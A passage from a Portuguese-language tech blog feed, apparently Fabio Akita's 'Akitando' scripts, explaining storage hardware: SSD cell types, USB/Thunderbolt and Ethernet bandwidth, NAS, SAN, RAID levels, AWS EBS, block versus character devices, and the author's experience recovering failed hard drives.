<p>Sem entrar muito no assunto de video, mas só pra complementar, pra jogar Playstation 5 ou Xbox Series X em 4K a 120 hertz em HDR, precisa de cabo HDMI 2.1 que tem banda de 48 gigabits por segundo. Então, num USB 3.2 Gen 2 x 2 não dá pra ligar mais de um monitor 4K e ainda ter boa velocidade pra copiar arquivos pra um SSD externo. Thunderbolt serve pra isso.</p>
<p>E isso porque estamos pra receber já já USB 4 e Thunderbolt 4. Só mencionei porque tanto USB 3.2 quanto Thunderbolt usam cabos com o mesmo conector Type-C. Por isso é uma zona. Quando a entrada Type-C suporta Thunderbolt, costuma ter um ícone de raio do lado. Mundo Mac tá mais acostumado com tudo Thunderbolt, no mundo PC a gente tá um pouco mais atrasado na adoção.</p>
<p>Voltando a falar de SSDs e NVMEs, laptops e placas mãe modernas já vem com pelo menos um slot M.2 que dá pra colocar um NVME. E se não tiver, no mínimo você deveria jogar fora o HD mecânico e colocar um SSD SATA-3. Qualquer coisa vai ser no mínimo 10 vezes melhor que um HD mecânico. No caso de NVME vai ser quase 100 vezes melhor.</p>
<p>Agora, SSDs e NVMEs não são todos iguais. NAND Flash tem em diversas variedades. Você tem chips que suportam 1 bit de dados que é single-level cell ou SLC. Você pode ter um chip que suporta 2 bits, que é multi-level cell ou MLC. Entendeu? O próximo tipo suporta 3 bits e se chama triple-level cell ou TLC e o último suporta 4 bits ou quad-level cell ou QLC. Então SLC, MLC, TLC e QLC. Quanto mais bits melhor? Na realidade não, o melhor é o single level cell, SLC.</p>
<p>Quanto mais bits você entuchar numa célula, menos espaço  ocupa. Então tem drives com maior capacidade no mesmo espaço. Porém, quanto mais bits ele tem, mais lento ele fica e, pior, menos tempo ele dura. Chips NAND tem capacidade máxima de escrita. Todo SSD tem uma quantidade máxima de vezes que dá pra usar antes das células pifarem.</p>
<p>Chips SLC, de 1 bit por célula, vão durar na faixa de 50 a 100 mil ciclos de program e erase ou PE que é a unidade que se usa. Um chip QLC vai suportar 100 vezes menos, talvez uns 1000 ciclos de PE. Então, no mesmo preço, ou você escolhe um SSD de menor capacidade mas que vai durar muito tempo ou um de maior capacidade que vai durar menos tempo. Mais um trade-off.</p>
<p>Nenhum SSD vai durar pra sempre. Apesar de não ter peças móveis ele também deteriora com o uso. A vantagem é que  não vai estragar antes do tempo porque você derrubou e estragou o motor ou riscou o disco. E justamente porque a gente sabe que tanto HDs, quanto SSDs ou NVMEs uma hora vão todos morrer, que você precisa de tempos em tempos garantir que tem backup.</p>
<p>A tangente toda começou porque eu comecei falando de DAS. Um HD externo mecânico ligado via USB 2 é um DAS porque tá anexado direto no seu PC. Se usar um SSD externo, provavelmente vai ser via USB 3. Se usar um NVME externo vai ter conexão Thunderbolt. E mesmo soluções de RAID com múltiplos drives também pode ser de SSDs, e se for você pode conectar via Thunderbolt também.</p>
<p>Mas não é sempre prático ter uma caixona grande com múltiplos drives na sua mesa. Às vezes você pode preferir colocar esse servidor em algum lugar mais escondido. Dentro do seu closet, no porão ou algo assim. E aí tem uma desvantagem de cabos como USB ou Thunderbolt. Eles não foram feitos pra serem longos assim.</p>
<p>Mas existem cabos que foram feitos pra ser bem longos, são cabos Ethernet de rede. E indo direto ao assunto, adivinhem, só porque um cabo é azul ou amarelo, e tem o mesmo conector RJ-45 de rede, não quer dizer que são iguais. Mesma coisa que eu falei dos diferentes tipos de USB 3.2. Cabos ethernet são divididos em categorias. Hoje não é episódio sobre redes, mas deixa eu só explicar os cabos.</p>
<p>Existem categorias como cat5E, cat6, cat6A, cat7, cat8. De cat5 a cat6 é velocidade máxima de 1000 megabits por segundo, que é uns 125 megabytes. Isso é o dobro de USB 2.0 mas é 5 vezes mais lento que USB 3.2 Gen 1.</p>
<p>Cat6A e Cat7 é categoria dos 10 gigabits por segundo. Agora igualamos com USB 3 Gen 1. Se o comprimento for menos de 50 metros, ainda pode subir pra 100 gigabits e aí já ficou melhor que Thunderbolt. Um cabo cat8 já entra em território de velocidade de fibra ótica. Além de velocidade varia a construção do cabo, resistência, blindagem. Acho que Cat 6 ou 7 são mais comuns, eu nunca vi um Cat8, vai ser mais em data center.</p>
<p>Quem lembra de física elétrica básica do colégio lembra que num fio que passa eletricidade gera um campo magnético ao seu redor, por todo o comprimento. Se colocar vários fios em paralelo um do lado do outro, eles vão dar interferência entre eles. Um cabo Ethernet é um conjunto de vários cabos mais finos dentro, organizados em twisted pair, ou par trançado. Se você já clipou um cabo de rede já deve ter visto isso.</p>
<p>Normalmente esses cabos conseguem atingir distâncias de até 100 metros e se precisar mais longo existem extensores pra isso. Mas o ponto é que você pode tranquilamente puxar cabos de dezenas de metro pela sua casa sem problemas. É o que eu faço: em vez de usar um DAS conectado direto no meu PC eu tenho um NAS, um network attached storage do lado do meu roteador e do meu PC sai um cabo ethernet cat7 que vai até o roteador.</p>
<p>Meu Synology DS420j é um NAS de entrada. Tá configurado com 4 HDs mecânicos de 4 terabytes cada, reservando uns 5 giga espalhado pelos drives. É uma porção de cada drive reservado pra redundância. Um NAS é só um nome mais bonitinho pra um PC pequeno com Linux. Ele tem uma CPU Celeron antiga, uns 1 giga de RAM e só.</p>
<p>Um NAS mais sofisticado vai ter um processador melhor, muito mais RAM e até opção de colocar um SSD, normalmente formato mSATA ou talvez até M.2. Você mesmo pode montar um NAS caseiro num PC velho que tiver sobrando com placa de rede ou até Wifi. Como a gente acaba usando HDs mecânicos, velocidade de Wifi acaba sendo suficiente.</p>
<p>Eu ainda não coloquei um NAS melhor porque não preciso editar arquivos grandes direto dele, só uso como backup mesmo. Mas existem casos que você precisa trabalhar direto do NAS. Exemplo disso são estúdios que editam videos profissionais. Aí você tem vários editores trabalhando de computadores bons mas todos precisam acessar os mesmos arquivos ou os arquivos são tão grandes que não é prático ter na máquina de cada um.</p>
<p>Se você não tem noção, video ocupa muito espaço. Mesmo na minha produção caseira, um video de 30 minutos em 4K ocupa nada menos que 3 gigabytes e meio. Um dos meus últimos videos longos, antes de editar, foram 4 arquivos que dá quase 2h de gravação e ocupa quase 40 gigabytes no total. Pra um video de YouTube! Tudo bem que é um video que editado deu uns 45 minutos, mas mesmo assim. 10 episódios nesse formato já seria quase meio terabyte. Menos de 20 videos e acabou um terabyte. Lembrem que meu canal já tem 100 videos.</p>
<p>Numa produção profissional bem mais cara, usando uma câmera RED Monstro, gravando no formato Redcode com compressão de 8 pra 1 e video de 8K custaria nada menos que 1 terabyte pra cada 30 minutos. Ouviram? Se eu tivesse gravado as mesmas duas horas que eu falei nesse formato ia me custar mais de 3 terabytes. Num único video! Imagina 100!</p>
<p>Ah, mas depois de editar o video final é só jogar fora os originais. Não, isso é pensamento de amador. A gente NUNCA joga fora originais de nada. Você nunca sabe quando precisa voltar nos originais pra re-editar, ajustar, talvez fazer um remaster amanhã. Profissionais guardam tudo em servidores.</p>
<p>Por isso você vai num canal como Linus Tech Tips e ele fala tanto em servidores de armazenamento como esse aqui dele montando 1 petabyte num servidor com 60 HDs, 256 Giga de RAM controlado por uma CPU AMD Epic Threadripper acho que de 24 cores. E eles tem mais de um desses servidores.</p>
<p>Nossos computadores domésticos e laptops costumam vir no máximo com um plug Ethernet de 1 gigabit, que é suficiente pra no máximo 128 megabytes por segundo de transferência. Pra navegar na Web e copiar arquivos pequenos pela rede tá mais que bom. Quase nenhum plano de Internet doméstico que você achar vai saturar isso, nem perto, especialmente se for uma porcaria como NET da vida. Meu NAS Synology e o Drobo não fazem muito mais que 25 megabytes por segundo. Mas pra conseguir editar video de 8K em tempo real, direto num drive montado na rede, precisa ser Ethernet 10 gigabit, pra ter velocidades de mais de 1 gigabyte por segundo.</p>
<p>Um servidor desses, aliás, provavelmente vai ter múltiplas saídas de ethernet 10 gigabit pra conseguir lidar com múltiplos computadores editando video ao mesmo tempo. Aí a brincadeira começa a fica interessante. Recomendo procurar por videos dos bastidores do Linus Tech Tips que ele detalha bastante disso. O ponto importante é que a gente imagina computador como sendo só o HD interno e no máximo um HD externo via USB. Mas tem muito mais opção que isso.</p>
<p>Falando em opção a última coisa que eu queria comentar é sobre storage em cloud. Seja seu Dropbox ou AWS da vida. Num container virtual você não tem nenhum controle sobre os HDs por baixo. Quando você cria uma instância tipo um AWS EC2 da vida e monta um volume de EBS, provavelmente por baixo é um SAN ou Storage Area Network, que é o terceiro tipo que faltava falar mesmo.</p>
<p>NAS você já entendeu, é um servidor com HDs, em alguma configuração de RAID. O servidor de 60 HDs do Linus por exemplo, provavelmente tá configurado com filesystem ZFS e uns 8 HDs são reservados pra paridade. Parece bastante mas 8 de 60 é uma perda de pouco mais de 10% comparado aos 20% que eu perco no meu RAID-5, é bem justo. Significa que ele pode ter até 8 HDs crasheando ao mesmo tempo sem perder nenhum bit de dados. Nos próximos episódios vou falar de ZFS mas só entenda pra hoje que é o melhor filesystem pra configurações assim de múltiplos HDs.</p>
<p>Um SAN é uma infraestrutura mais complexa. Num NAS a gente cria um volume virtual em cima dos 4 HDs ativos e enxergamos tudo como se fosse um único drivezão em vez de enxergar. Um SAN é um volume virtual bem maior, que pode agrupar o equivalente a vários NAS por baixo. A grosso modo pense num SAN como um conjunto de NAS, um rackzão de data center com vários servidores ainda maiores que o do Linus. É em cima de hardware assim que funciona um Dropbox ou Google Drive.</p>
<p>E se você não conhecia, EBS é o serviço da Amazon Web Services pra criar volumes virtuais, que você pode montar na sua máquina virtual Linux como se fosse um drive. Máquinas da Amazon EC2 são voláteis. Quando desliga a máquina, tudo que tinha dentro se perde. Pra persistir dados, você monta um volume do EBS e vai gravando lá. Quando desligar a instância, os dados no volume do EBS continuam lá até você remontar em outra instância.</p>
<p>Outra hora eu explico mais sobre porque a AWS funciona dessa forma. Mas a curiosidade é o nome. EBS é Elastic Block Storage. Existem dois tipos de dispostivos, character devices e block devices. Character devices quando você conecta ele vai imediatamente transmitindo byte a byte individualmente pro seu software. Block devices recebem ou enviam bytes literalmente em blocos. Por exemplo, setor a setor de uma partição ou melhor, clusters de vários setores ao mesmo tempo.</p>
<p>Um character device ou também chamado de raw device, &ldquo;raw&rdquo; de crú, onde a gente recebe e envia byte a byte imediamente. Um block device tem uma espera, porque a kernel do sistema operacional vai manter um cache em memória. Blocos é mais eficiente quando o dispositivo é lento. Lembra do trabalho que é o motor mover as cabeças por um disco que fica em rotação? Por outro lado, coisas como teclado, mouse, você não quer que demore, pelo contrário, você quer a menor latência possível. Por isso tem dois tipos.</p>
<p>Em Linux pelo menos, a distinção deve ter motivos históricos, quando o normal era ter que lidar com HDs bem lentos, ou mesmo os antigos disquetes e CDs. Ao contrário de Linux a família de UNIX BSD não trata HDs como block devices e sim como raw devices, hoje em dia. Isso porque o fato do cache existir pra tentar melhorar a performance do HD trás uma desvantagem que usuários domésticos como a gente não vai notar. Mas num servidor com muito uso pode ser fatal.</p>
<p>Tudo que tá num cache é volátil. Memória RAM depende de energia e se a energia caiu, perdeu o que tinha lá. Você quer RAM porque acelera a transmissão, mas quanto mais demorar lá, maiores as chances de perder. O BSD quer partir da premissa que ele não vai interferir, e seu aplicativo pode implementar cache por cima e gerenciar o risco que está disposto a assumir em vez de tentar melhorar performance ao custo de um risco escondido.</p>
<p>Essa situação é raro de acontecer, mas não impossível. Quantas vezes no ano caiu energia bem quando você acabou de mandar salvar alguma coisa? É raro, mas comigo mesmo ao longo dos anos aconteceu algumas vezes. Mas o ganho de performance graças aos caches automáticos do sistema operacional tem mais validade pra mim do que talvez perder um arquivo uma vez por década.</p>
<p>Num servidor a história é outra. Lembra o servidor do Linus com 60 HDs? Pensa servidores muito maiores, centenas de servidores, com milhares de HDs. Num data center vai ser bem mais comum ter problemas, provavelmente até múltiplas vezes por dia. Num conjunto de dezenas de milhares de HDs, certamente alguns HDs vão dar pau. Algum servidor pode dar pane de algum tipo. E se seus dados estiverem num cache na memória, você pode perder arquivos importantes de algum cliente.</p>
<p>Talvez por isso os BSDs, cujo maior uso é em aplicações de servidor e muito menos como desktop, não suportam mais block devices, todos são character devices ou raw devices. Não quer dizer que block devices são ruins. Num laptop, que tem bateria, você corre muito menos risco de perder alguma coisa por conta de uma falta de energia aleatória. Por outro lado, a performance extra por ter o cache vai faciltar seu dia a dia.</p>
<p>Mas servidores é diferente, eles ficam ligados 24 horas por dia, 7 dias por semana, com milhares de pessoas realmente lendo e gravando dados sem parar. E você não pode perder um byte, ou já já vai ter usuários muito bravos com você.</p>
<p>Tem muito mais que isso pra se falar sobre dispositivos de armazenamento, mas eu acho que com o que falei hoje já deve cobrir a maioria dos casos de uso que um programador médio vai precisar. Você precisa entender o que está usando e não confiar numa abstração.</p>
<p>Eu lembro que antigamente a gente sabia que o programa tava funcionando e lendo ou gravando porque a gente colocava a orelha no gabinete e ouvia o som do motor e das cabeças trabalhando. Pra diferenciar se um programa tava travado ou só demorando pra acabar, era só ouvir o HD. Se estivesse em silêncio e o programa ainda pausado, é porque travou. Se desse pra ouvir o HD trabalhando, então tinha que esperar mais um pouco.</p>
<p>Hoje em dia, especialmente se você tá conectado numa máquina virtual em cloud, não tem mais esse contato com a máquina. Então é mais importante ainda saber como essas coisas estão estruturadas, pra saber em que parte pode estar com problema: na sua aplicação, no sistema operacional, num dos caches, na camada de rede se for um NAS, e assim diagnosticar o lugar certo.</p>
<p>A pior coisa que um programador pode fazer é acreditar em superstições porque não entende como as coisas funcionam. Daí quando realmente precisa resolver um problema difícil vai ficar achando receitas homeopáticas e ficar tacando tudo na parede pra ver se algum gruda. Não precisa ser programador pra fazer as coisas às cegas assim.</p>
<p>Espero que tenha dado pra aumentar o interesse de vocês em estudar mais sobre o hardware. No próximo episódio vou falar sobre o que vai dentro dos volumes: o sistema de arquivos. Cada sistema operacional usa um diferente e eles tem vantagens e desvantagens. Se ficaram com dúvida mandem nos comentários abaixo, se curtiram o video deixem um joinha, assinem o canal, clique no sininho e compartilhem o video com seus amigos. A gente se vê, até mais.</p>
]]></content:encoded><category>armazenamento-e-backup</category><category>hardware</category><category>redes</category><category>akitando</category></item><item><title>[Akitando] #99 - Quebrei 3 HDs: Entendendo Armazenamento</title><link>https://akitaonrails.github.io/2021/06/09/akitando-99-quebrei-3-hds-entendendo-armazenamento/</link><guid isPermaLink="true">https://akitaonrails.github.io/2021/06/09/akitando-99-quebrei-3-hds-entendendo-armazenamento/</guid><pubDate>Wed, 09 Jun 2021 13:21:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/lxjBgxmDZAI"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;Nessa nova mini-série quero explicar os diversos conceitos sobre armazenamento e neste primeiro episódio vou explorar um pouco sobre RAID e mostrar como antigamente a gente mapeava dados em disco usando o sistema de cilindros-cabeças-setores e como as coisas evoluiram hoje.&lt;/p&gt;
&lt;h2&gt;Conteúdo:&lt;span class="hx:absolute hx:-mt-20" id="conteúdo"&gt;&lt;/span&gt;
&lt;a href="#conte%c3%bado" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;00:00 - Intro&lt;/li&gt;
&lt;li&gt;02:17 - Drobo - o que é RAID?&lt;/li&gt;
&lt;li&gt;04:11 - RAID-5&lt;/li&gt;
&lt;li&gt;05:56 - Synology&lt;/li&gt;
&lt;li&gt;06:52 - Resolvendo um problema catastrófico de HDs&lt;/li&gt;
&lt;li&gt;09:23 - Você ainda não entende HDs/RAID-0&lt;/li&gt;
&lt;li&gt;11:21 - o começo: instaladores de Linux&lt;/li&gt;
&lt;li&gt;13:54 - CHS&lt;/li&gt;
&lt;li&gt;17:28 - Blocos&lt;/li&gt;
&lt;li&gt;21:18 - Velocidades&lt;/li&gt;
&lt;li&gt;24:09 - fdisk&lt;/li&gt;
&lt;li&gt;25:35 - LBA&lt;/li&gt;
&lt;li&gt;26:54 - TBC&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SCRIPT&lt;span class="hx:absolute hx:-mt-20" id="script"&gt;&lt;/span&gt;
&lt;a href="#script" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Olá pessoal, Fabio Akita&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/lxjBgxmDZAI"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Nessa nova mini-série quero explicar os diversos conceitos sobre armazenamento e neste primeiro episódio vou explorar um pouco sobre RAID e mostrar como antigamente a gente mapeava dados em disco usando o sistema de cilindros-cabeças-setores e como as coisas evoluiram hoje.</p>
<h2>Conteúdo:<span class="hx:absolute hx:-mt-20" id="conteúdo"></span>
    <a href="#conte%c3%bado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>00:00 - Intro</li>
<li>02:17 - Drobo - o que é RAID?</li>
<li>04:11 - RAID-5</li>
<li>05:56 - Synology</li>
<li>06:52 - Resolvendo um problema catastrófico de HDs</li>
<li>09:23 - Você ainda não entende HDs/RAID-0</li>
<li>11:21 - o começo: instaladores de Linux</li>
<li>13:54 - CHS</li>
<li>17:28 - Blocos</li>
<li>21:18 - Velocidades</li>
<li>24:09 - fdisk</li>
<li>25:35 - LBA</li>
<li>26:54 - TBC</li>
</ul>
<h2>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Se você assistiu o episódio sobre meus Backups que fiz lá no começo do canal sabe que costumo ser um pouco obsessivo sobre armazenamento. Eu cheguei a perder algumas coisas que tinha em disquetes e cartuchos de zip drive, então meus primeiros projetinhos, coisas da faculdade, eu perdi. Desde então tento manter múltiplas cópias das coisas mais importantes.</p>
<p>Eu tenho backupsdo meu Outlook do ano 2000 por exemplo, todos os meus emails de mais de 20 anos atrás. Mesmo os atuais que ficam no Gmail eu baixo offline com o Thunderbird pra ter uma cópia local. Nunca confie em serviços cloud, especialmente se forem gratuitos. Você sempre vai receber exatamente o que paga. Um belo dia sua conta tá suspensa, por erro ou porque você foi imprudente e não habilitou autenticação de 2 passos nem manteve senhas fortes. Vai acontecer, é só questão de quando.</p>
<p>Mesmo usando coisas como Dropbox, Google Drive e Microsoft OneDrive - sim, eu uso os três - tenho uma cópia nos HDs do meu PC, outra cópia no meu laptop, e outra nos meus NAS. A grande vantagem que eu vejo hoje em dia comparado com os anos 90 ou anos 2000 é que armazenamento barateou muito.</p>
<p>No primeiro dia de 1995, ano que entrei na faculdade, o custo médio por 1 gigabyte era nada menos que 850 dólares, em dólares dos anos 90! Só 1 giga! 5 anos depois, no último dia de 1999 o mesmo 1 gigabyte agora custava em média 15 dólares. E em 2009 custava só 7 centavos. Hoje em dia 1 terabyte é menos de 100 dólares.</p>
<p>Hoje eu quero discutir um pouco sobre armazenamento. Na nossa saga pela máquina de Turing e a linguição de bytes, eu expliquei como bytes mais ou menos são organizados na memória, estruturas de árvores, stack, heap e tudo mais. Mas memória RAM é volátil. Toda vez que você desliga o computador essa memória foi pro saco.</p>
<p>Pra ter algo persistente agora precisamos entender como armazenar nossa fita de bytes numa mídia sólida, como os atuais drives de SSD NVME. Muita gente pensa que a única coisa importante sobre drives é que a gente particiona e tem uma estrutura de diretórios e arquivos, e só lê arquivos e grava arquivos e acabou a história. Só que é muito mais que isso. Então vamos entender.</p>
<p>(&hellip;)</p>
<p>Por muitos anos, desde 2008, eu mantinha meu backup num dispositivo chamado Drobo. Quando saiu parecia excepcional, hoje em dia é bem ultrapassado, mas eu ainda tenho um Drobo 5N que é um NAS. NAS é sigla pra Network Attached Storage ou armazenamento anexado na rede que é um nome mais bonito pra um PC na rede com vários HDs.</p>
<p>Esse Drobo 5N tem 5 baias pra HDs. E eu tenho 5 HDs mecânicos de 4 terabytes cada. Isso dá um total de 4 vezes 5 que é 20 terabytes, mas eu só posso usar pouco menos de 15. Se você nunca ouviu falar em redundância pode achar isso estranho, pra onde foi os outros 5 teras??</p>
<p>O Drobo e outros NAS costumam usar alguma variação do conceito de RAID que é sigla pra Redundant Array of Inexpensive Disks ou um arranjo redundante de discos baratos. O problema é o seguinte, HDs tradicionais mecânicos tem o problema de serem mecânicos, terem partes móveis. O HD tem discos um em cima do outro formando um cilindro e cada um tem cabeças de leitura, um pra cada lado do disco, ligadas num motor pra movimentar essas cabeças a milímetro de distância dos discos.</p>
<p>Eu lembro que nos anos 90 a gente tinha que dar um comando no MS-DOS chamado <code>park</code> que é estacionar. Era um comando pra forçar o estacionamento das cabeças. Pense em cabeças como a agulha que desliza sobre um disco de vinil de música. Apesar das cabeças num HD não tocarem fisicamente os discos e sim usar magnetismo pra ler os bits, se você esbarrasse no computador podia arriscar dessa cabeça tocar no disco, e aí podia estragar. Por isso era boa prática mandar estacionar antes de desligar o computador. Hoje em dia eles são mais inteligente e já fazem isso sozinhos.</p>
<p>O ponto é que existem muitas peças móveis, e tudo que tem peças móveis eventualmente vai falhar. Seja por problema de fabricação, seja só por tempo de uso. Tudo deteriora. E quando isso acontecer você pode perder acesso aos seus dados.</p>
<p>Existem variações na implementação de estratégias de RAID, mas no modelo clássico RAID-5 tem esse número porque se espera ter pelo menos 5 HDs. 4 vão estar ligados e um 5o fica offline de reserva, desligado mesmo e por isso chamamos de Cold Spare. Apesar de ser 4 HDs ligados ao mesmo tempo, você enxerga como se fosse um único drive. Um único volume pra ser mais exato.</p>
<p>Os dados, mais corretamente os blocos, são divididos entre os 4 drives e cada HD mantém uma parte da cópia do outro drive. Sabemos que HDs mecânicos eventualmente vão morrer. Mas vamos apostar que em 4 drives a chance de todos morrerem ao mesmo tempo é baixa. Normalmente só um  vai morrer primeiro. Se isso acontecer os outros 3 drives vão ter cópias dos demais e seu volume vai sobreviver intacto, sem perder nenhum dado.</p>
<p>Isso te dá tempo pra pegar aquele 5o HD de reserva, o cold spare pra substituir pelo que falhou. Daí o controlador do RAID vai reconstruir o novo HD com os dados redundantes dos outros três. Por isso que apesar de eu ter um total de 20 tera nos meus 4 drives, ele só me deixa usar 15. Porque os outros 5 tera são gastos com redundância. São os dados de paridade. E eu já tive esse problema de HDs morrerem várias vezes e toda vez fui salvo por esse sistema.</p>
<p>Em data centers isso é crucial. Imagina que um data center como os do Google ou Amazon da vida tem milhares de HDs. Todos eles vão falhar uma hora. Não de uma vez, mas aos poucos. Com essa quantidade massiva, falha alguns por dia, especialmente porque ficam ligados e funcionando dia e noite sem nunca desligar. HDs usados em data centers são diferentes do que a gente usa nos nossos PCs caseiros. HDs como os Seagate Iron Wolf Pro, feitos pra serem mais robustos e resistentes. HD doméstico quebra mais fácil, por isso é mais barato.</p>
<p>No meu caso, eu precisava de mais de 15 teras. Eu tenho duas opções: uma seria trocar os HDs de 4 teras por outros maiores de 6 ou 8 teras. Em vez disso eu queria testar os produtos de NAS da Synology e por isso comprei um modelo de entrada que é o DS420j, e já digo que achei razoável.</p>
<p>Sem me alongar muito, nada de errado com esse modelo, ele faz exatamente o que diz que faria e acho que se for só pra backup tá bem mais que suficiente. Mas não dá pra usar ele no dia a dia com arquivos grande, porque ele é limitado pela velocidade dos HDs mecânicos e não tem opção pra aumentar a RAM e nem colocar um SSD NVME como cache. Uma versão como o DS920+ já tem opção pra esses upgrades e isso aumentaria bastante a velocidade: mais cache. E mesmo assim, se eu quisesse editar video direto dele precisaria ser um outro modelo que também tenha saída de rede 10Gigabit em vez do tradicional 1 gigabit. Lembrem-se disso quando estiverem escolhendo um.</p>
<p>Esses dias eu tive um problema. Uns dois anos atrás eu pedi pro meu sócio trazer HDs pra mim quando ele foi pros Estados Unidos. O problema de HDs, como eu falei, é que  são frágeis. Se você jogar os HDs na na mala e não proteger muito bem, com todo o balanço da viagem, mala sendo jogada dentro do avião, é quase certeza que vai estragar.</p>
<p>Dito e feito, eles nunca se comportaram como deveriam. Eu usei eles no Drobo, mas aí o Drobo reclamou que os HDs tavam falhando. Resolvi comprar mais 4 HDs novos no Mercado Livre e fui trocando. Daí esses HDs massacrados ficaram sobrando. Quando comprei o Synology eu pensei: ok, eu sei que eles não tão 100% mas vamos tentar de novo. Se falhar não vai ser todos de uma vez.</p>
<p>Funcionou por alguns meses, esses dias o Synology desligou tudo sozinho. Tentei religar e entrar no painel de administração e batata, 3 dos HDs tavam marcados com defeito. Três de uma vez só é foda. Mas na prática os próprios HDs é que sinalizam pro servidor que tão começando a falhar e que é arriscado continuar, não quer dizer que quebraram totalmente. Ainda bem que hoje em dia os HDs são mais inteligentes, eles tem a funcionalidade de SMART que é sigla pra Self-Monitoring, Analysis and Reporting Technology ou seja, Auto-monitoramento, análise e tecnologia de relatório. O HD sabe que vai morrer a qualquer momento.</p>
<p>Enfim, lá vou eu encomendar mais HDs no Mercado Livre. Eles acabaram de chegar, dessa vez comprei Western Digital RED que são os equivalentes em robustez aos Seagate Iron Wolf. Qualquer uma das duas linhas eu recomendo. O problema é que 3 HDs de uma vez começaram a notificar problema. Num dia normal onde no máximo só um falha, bastaria trocar só ele e os outros três iriam ser usados pra reconstruir o quarto.</p>
<p>Como os três falharam, o próprio Synology se auto-desligava inteiro por garantia. Então seria arriscado tentar o processo de reconstrução dele mesmo. Eu queria uma forma mais direta de fazer um clone de um HD direto pro outro. Por isso procurei um sistema de clonagem e achei um genérico que parece que funciona, da marca Mymax e você acha no Mercado Livre.</p>
<p>É um dispositivo que não precisa estar ligado no computador pra funcionar. Você coloca o HD original no slot A, o novo HD no slot B, só garante que o novo HD é do mesmo tamanho ou maior que o original, aperta um botão e ele sozinho vai fazer um clone, bloco a bloco. E isso é importante. Esse dispositivo não tem a mínima idéia de que sistema de arquivos o HD tem, se é NTFS de Windows ou ext4 de Linux. Ele não precisa carregar um filesystem e copiar arquivo a arquivo, isso seria o arriscado. Em vez disso ele vai fazer um clone de verdade, copiando bloco a bloco de um HD pra outro. Isso é modo raw ou crú.</p>
<p>Daí veio a idéia desse episódio. Muita gente, incluindo programadores não tem a mínima idéia de como HDs funcionam. No máximo sabem que um SSD é mais rápido que um HD e só. Quando eu falei clonar um HD, muita gente deve imaginar tipo selecionar vários arquivos e copiar pro outro como faria num Windows Explorer.</p>
<p>Tem gente que tem até computadores ou HDs externos com mais de um drive configurado em RAID-0, formando um único volume, ou seja, estão em stripe. Mau eles sabem que se um dos HDs falhar você acabou de perder todos os dados dos dois ao mesmo tempo.</p>
<p>Se você não sabe o que é Stripe, é uma versão de RAID que faz um único volume em cima de dois ou mais HDs. Daí no seu Windows você enxerga só um drive C:, por exemplo. A vantagem é que a velocidade vai ser maior, porque você distribui o trabalho entre os dois HDs, em paralelo. No melhor caso você vai ter o dobro de performance. Alguns blocos vão pra um HD e outros blocos vão pro outro HD.</p>
<p>Mas você pode pensar, ué, se metade dos arquivos foi pra um HD e outra metade foi pro outro, se um dos HD falhar eu vou perder só metade dos meus arquivos, mas a outra metade tá salva, não tá? Não! Eu disse que vai distribuir blocos e não arquivos.</p>
<p>O você talvez não saiba é que arquivos são divididos em blocos, normalmente de tamanho fixo, digamos de 512 bytes. Então um arquivo de 1 megabyte pode ocupar pelo menos 2 blocos. Um arquivo de 10 mega vai ocupar 20 blocos e assim por diante.</p>
<p>Agora, o sistema RAID-0 de stripe vai DIVIDIR esses blocos entre os dois HDs. Por isso é mais rápido ler depois, porque ele pode ler partes do mesmo arquivo vindo de HDs diferentes. E por isso que se você perder um dos HDs, vai perder o arquivo todo, porque tá picotado. Se você perder só 1 bloco, seu arquivo inteiro foi corrompido. Você trocou confiabilidade por performance. E isso é válido, por exemplo, se você tá configurando um servidor de cache, onde se os dados forem corrompidos, consegue reconstruir porque tem os originais em outro lugar.</p>
<p>As aplicações tentam facilitar as escolhas pra você, por isso às vezes você não sabe o que está acontecendo. Por exemplo, toda vez que reinstala um Windows, ou qualquer distro Linux moderna, só precisa ir dando next, next, next e o instalador é inteligente o suficiente pra fazer as escolhas mais sensíveis e você nem precisa entender o que ele fez. Uma dessas escolhas é como particionar seu HD, como gravar uma partição de boot, qual sistema de arquivos escolher e formatar. Em poucos minutos você parte de um HD virgem pro sistema operacional instalado e funcionando.</p>
<p>Nem sempre foi assim. Talvez tirando os Macs, que mesmo nos anos 90 tinha 100% de controle do hardware e do software, então ele sabia exatamente que HDs estavam instalados e como formatar da melhor forma. A vantagem da idéia de comoditizar PCs da IBM é que você podia comprar os componentes separadamente, um chip compatível com x86 só que da Cirrus, uma placa mãe talvez da Soyo, uma placa de som da Sound Blaster, um modem da US Robotics, e um HD ou Winchester como a gente chamava naquela época da Seagate.</p>
<p>Agora você quer instalar MS-DOS ou um UNIX ou uma das primeiras versões de Linux no começo dos anos 90. Boa sorte. Falando especificamente de Linux, primeiro você ia encomendar uma distro comercial como um RedHat. A versão 4.2 foi minha segunda distro. Daí coloca o disquete de boot pra inicializar o sistema, detectar o hardware que a BIOS já achou, carregar os drivers mais básicos pra cada componente. No final ele monta um ramdisk, que é o equivalente a um volume de HD só que na memória.</p>
<p>Agora você troca o disquete e coloca o de root ou suplemento como a RedHat costumava chamar. Ele vai montar esse disquete como o diretório /usr no ramdisk. Agora ele tem as ferramentas pra continuar. O próximo passo é detectar seu HD, se é IDE ou SCSI, carregar o driver e te dar a opção de particionar os volumes usando o temido <code>fdisk</code>.</p>
